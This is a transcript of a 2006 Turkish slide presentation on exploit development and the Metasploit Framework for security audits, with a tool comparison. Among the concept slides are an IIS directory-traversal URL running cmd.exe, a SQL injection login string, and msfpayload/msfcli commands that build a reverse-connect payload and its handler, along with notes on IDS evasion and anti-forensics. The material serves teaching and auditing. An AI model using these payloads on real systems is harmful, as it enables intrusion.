Metasploit Framework ile Guvenlik...
Transcript of Metasploit Framework ile Guvenlik...
Metasploit Framework ile Güvenlik Denetimi
Fatih ÖzavcıBilgi Güvenliği Danışmanı[email protected]
2@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Sunum İçeriği
Exploit Kavramı
Exploit Geliştirme Süreci
Bütünleşik Geliştirme Ortamları
Metasploit Framework
Canlı Uygulama ve Pratikler
3@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Exploit
Bir güvenlik açığını kullanarak normal-dışı bir işlem yapılmasını sağlayan yöntem veya yazılım
http://sunucu/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://sunucu/login.asp?uid=‘ OR 1=1
4@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Diğer Kavramlar
PayloadExploit sonrası çalıştırılacak ve normal-dışı işlemi yapacak içerik
ShellcodeExploit sonrası çalıştırılacak platforma özel binary’ler
NOP“Not Operation”, işlevsiz veya bellek yeri öğrenme amaçlıbellek dolduran bitler
EncoderÇalıştırılacak Shellcode’u değiştiren ve IDS’ler tarafından yakalanmasını önleyen yazılımlar
5@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Exploit Yapısı
Exploit
İşlevsiz veya İşlevliİşlemler
DecoderShellcode/Payload
6@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Exploit Yaşam ÇevrimiGüvenlikAçığının
Bulunması
GüvenlikAçığının
Duyurulması
Teknik Analiz ve Çözümleme
Exploit’in Hazırlanması
GenelExploit’in
Yayınlanması
Exploit’in Özelleştirilebilir
Hale Gelmesi
0 GünExploit’inin Hazırlanması
7@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Genel Exploit’lerin Özellikleri
Çok farklı programlama dillerinde sunulabilirler (binary,c,c++,perl,lisp,python)Açığın tek veya özel bir kullanımı üzerine geliştirilmiş olabilirler (..%c0%af.. veya ..%c0%qf..)Payload/Shellcode değeri özelleştirilemeyebilir (binary, açık hakkında kısıtlı bilgi)Kod kirli veya kötü niyetli yazılmış olabilirHerkesçe kullanıldığı için önlem alınmış olabilir
8@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Kim Kendi Exploit’ine İhtiyaç Duyar
Tetkikçiler
Danışmanlar
Yazılım veya Donanım Testi Yapanlar
Sistem Yöneticileri
Güvenlik Açığı Geliştiricileri
9@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Exploit Geliştirme SüreciGüvenlik Açığının
Duyurulması
Açık AtlamaNoktalarınınBelirlenmesi
Teknik Analiz ve Çözümleme
Exploit’in Hazırlanması
Farklı Platformve Programlara
Uyarlanması
Exploit’in Özelleştirilebilir
Hale Gelmesi
ÇözümlemeYapılarak
Normal-Dışı İşlemYapılması
Farklı PayloadKullanımına HazırHale Getirilmesi
10@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Hangi Araçlar Kullanılır
Açık Bulunan Yazılımın Örneği !?Fuzzer (Karıştırıcı ve Değiştiriciler)Encoder (Kodlayıcılar)HEX EditörlerBinary Analiz AraçlarıDebugger (Hata Ayıklayıcılar)Sniffer (Paket Yakalayıcılar)Protokol ÇözümleyicilerYorumlayıcılar / Derleyiciler (Interpreter/Compiler)Shellcode’larSQL Sorguları
11@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Bütünleşik Geliştirme Ortamları
Exploit ve Payload ayrımıHazır ve kodu açık Exploit’lerBinary analizi için yardımcı araçlarHazır Payload veya Agent’larGrafik arabirim ile “tıkla ve gir” kolaylığıHazır fonksiyonlar ile daha az Exploit koduKategorizasyon ve analiz arabirimleriHazır Recon’lar ile bilgi toplamaYerel, yetki yükseltimi amaçlı Exploit’ler0 gün Exploit’leri
12@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Neden Exploit Geliştirme Ortamı ?
Güvenlik açığı tarama yazılımlarının imza kalitesindeki yetersizliklerGüvenlik açığının kullanılabilir olduğunun tespiti Risk boyutunun tam olarak bilinmesi ihtiyacıGüvenlik önlemlerinin (firewall/ids etc.) aşılmasıihtiyacıGüvenlik açıklarının kullanımına farklı bakış açılarıgetirme ihtiyacıHazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım sonrası işlemleri kolayca uygulayabilme
13@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Geliştirme OrtamıAlternatifleri
Core Technologies – Core Impact
Immunity Security – Immunity Canvas
Metasploit Project - Metasploit Framework
Security Forest - Exploitation Framework
14@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Metasploit Framework
2.x (GPL/Artistic) ve 3.x (Non-commercial) olarak iki ayrı sürümübulunmakta 138+ istemci/sunucu exploit ve 75+ payload bulunuyorÇok farklı türde payload’lar kullanılabiliyor
Agent (Meterpreter)VNC DLL InjectionShellcode Üretimi (Shell Bind, Reverse, FindTag)Binary Upload
Çok sayıda farklı encoder kullanılabiliyorAlpha2, Pex, Shikata Ga Nai, Sparc, OSXPPCLongXOR
Konsol, web ve seri arabirimleri bulunuyor, 3.x grafik arabirime de sahip olacakAçık kaynaklı her şeye entegre edilebiliyor (InlineEgg)En güçlü özelliği Post-Exploitation yetenekleri (Meterpreter, VNC DLL Injection, Anti-Forensic, Process Migration vb.)
15@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Ekran Görüntüleri
16@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Ekran Görüntüleri
17@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Genel Özellikler
ArabirimKonsol Arayüzü (msfconsole)Web Arayüzü (msfweb)Komut Satırı Arayüzü (msfcli)
Yardımcı AraçlarDönüş Adresi Tarayıcı (msfpescan,msfelfscan)Payload Üretici (msfpayload)Payload Encoder (msfencode)Oturum Logları (msflogdump)
Ana ModüllerExploit’lerPayload’larEncoder’larNOP Üreticiler
18@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Exploit
Çok sayıda, kaynak kodu açık, eski ve yeni exploitİstemci ve sunucu exploitleri biraradaFarklı işletim sistemleri için yazılmış exploit’ler
Windows, MacOSX, Linux,Irix, AIX, Solaris etc.
Farklı platformlar için yazılmış exploit’lerPPC, IA32, SPARC, MIPS, etc.
Hazır fonksiyonlar ile yazılacak kod miktarı oldukça azSSL desteğiHazır ağ protokolleri (SMB/DCERPC etc.)Encoding desteğiKolay payload ve hedef entegrasyonu
Kod yerine güvenlik açığına odaklanmak hedeflenmiş
19@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Payload
Birçok platform için hazır ShellcodeWindows,Linux,Aix,Solaris,Hp/UX,OS X,BSD,BSDI etc.Hazır Shellcode (Shell Bind, Reverse, FindTag)Perl Kodu
Üst düzey payload’larPassiveXInlineEgg (Core Tech.)MeterpreterVNC InjectionBelleğe program yükleme ve çalıştırma
Kademeli/Modüler payload yüklemeHedef üstünden yeni saldırı kapasitesiTek başına payload kullanımı
msfpayload PAYLOAD_ADI LHOST=x.x.x.x LPORT=3333 X > test.exemsfcli payload_handler PAYLOAD=PAYLOAD_ADI LHOST=x.x.x.xLPORT=3333 E
20@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Encoder
Hazır encoder’lar ile payload kolayca değiştirilebilmekte
HIDS/NIDS/IPS Atlatma
Farklı platformlar için encoder’larPPC, x86, Sparc etc.
Farklı türlerde 13 encoder
21@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Meterpreter
Meta-InterpreterModül destekli exploit sonrası aracı
Dosya sistemi, Süreç yönetimi, Ağ vb.DLL olarak yeni modüller eklenebilirKodu açık ve kolayca geliştirilebilirDinamik modül yükleme
Dahili KriptolamaKanal ve VNC Injection desteği3.x ile birlikte kapasitesi artıyor
Süreç birleştirmeIRB desteğiTimestomp,SAM HashDump
Yeni bir alt süreç olarak doğrudan bellekte çalışıyor
22@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
PassiveX
Hedefin registry kayıtları değiştirilir ve Internet Explorer başlatılırİstenen DLL ActiveX objesi olarak yüklenirTüm iletişim HTTP ile yapılır
IE Proxy ayarları ve kimlik özellikleriDMZ ağlarında kullanışlı
VNC ve Meterpreter Injection için kullanılabilir
23@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
VNC Injection
RealVNC kodunda değişiklikler yapılmış, gereksiz bölümler çıkartılmışDış dosya, kütüphane, servis kurulumu veya registry anahtarı gerekmiyorYeni bir alt süreç olarak doğrudan bellekteçalışıyorKilitli ekranlarda yeni kabuk (command prompt) açılıyor
24@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Metasploit 3.x
Ruby ile yazılıyorGüncel Sürüm : 3.0 Alpha r3Kod büyük ölçüde tamamlanmış
AUX, Grafik arabirim vb. eksikler bulunuyorPayload ve Encoder artışı varMeterpreter kapasitesi arttırılmışOtomatize edilebilir“Pivoting” Hedef üstünden saldırı daha kolayÇok sayıda fonksiyon dökümante edilmiş
25@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Karşılaştırma TablosuÖzellikler Core Impact Immunity Canvas Metasploit Framework
İşletim Sistemi Windows Windows / Unix Windows / Unix
Grafik Kullanıcı Arabirimi Var Var 2.x Yok / 3.x Var
Script Dili Python Python 2.x Perl / 3.x Ruby
Ağ Haritalama Var Var 2.x Yok / 3.x Planlanıyor
İstemci Exploit’leri Var Var Var
Yerel Exploit’ler Var Var Yok
Web Exploit’leri Yok Yok Yok
Encoder Kullanımı Yok Yok Var
Agent Üstünden Saldırı Var Yok Meterpreter / SocketNinja
Payload Kullanımı Agent / InlineEgg Agent Meterpreter/Shellcode/VNC
Exploit Sonrası Bağlantı Bind/Reverse/Re-use Bild/Reverse/Re-use Bild/Reverse/FindSock
Otomatize Exploit İşlemi Var Var Yok
Raporlama Var Yok Yok
Diğer Araçlarla Entg. Var Var 2.x Yok / 3.x Planlanıyor
Harici Geliştirme Araçları Yok Yok Var
Anti-Forensic Özellikleri Yok Yok Var
Fiyat ~25.000 USD 10 Kul. ~2.000 USD Ücretsiz
26@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Metasploit iş üstünde....
27@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Bağlantılar ve Referanslar
Metasploit Project
www.metasploit.org
Metasploit Anti-Forensics
www.metasploit.org/projects/antiforensics
Metasploit Documentation
www.metasploit.org/projects/Framework/documentation.html
Metasploit Live Demo
metasploit.com:55555/
28@ 2006 Fatih Özavcı, Her Hakkı Saklıdır
Teşekkürler....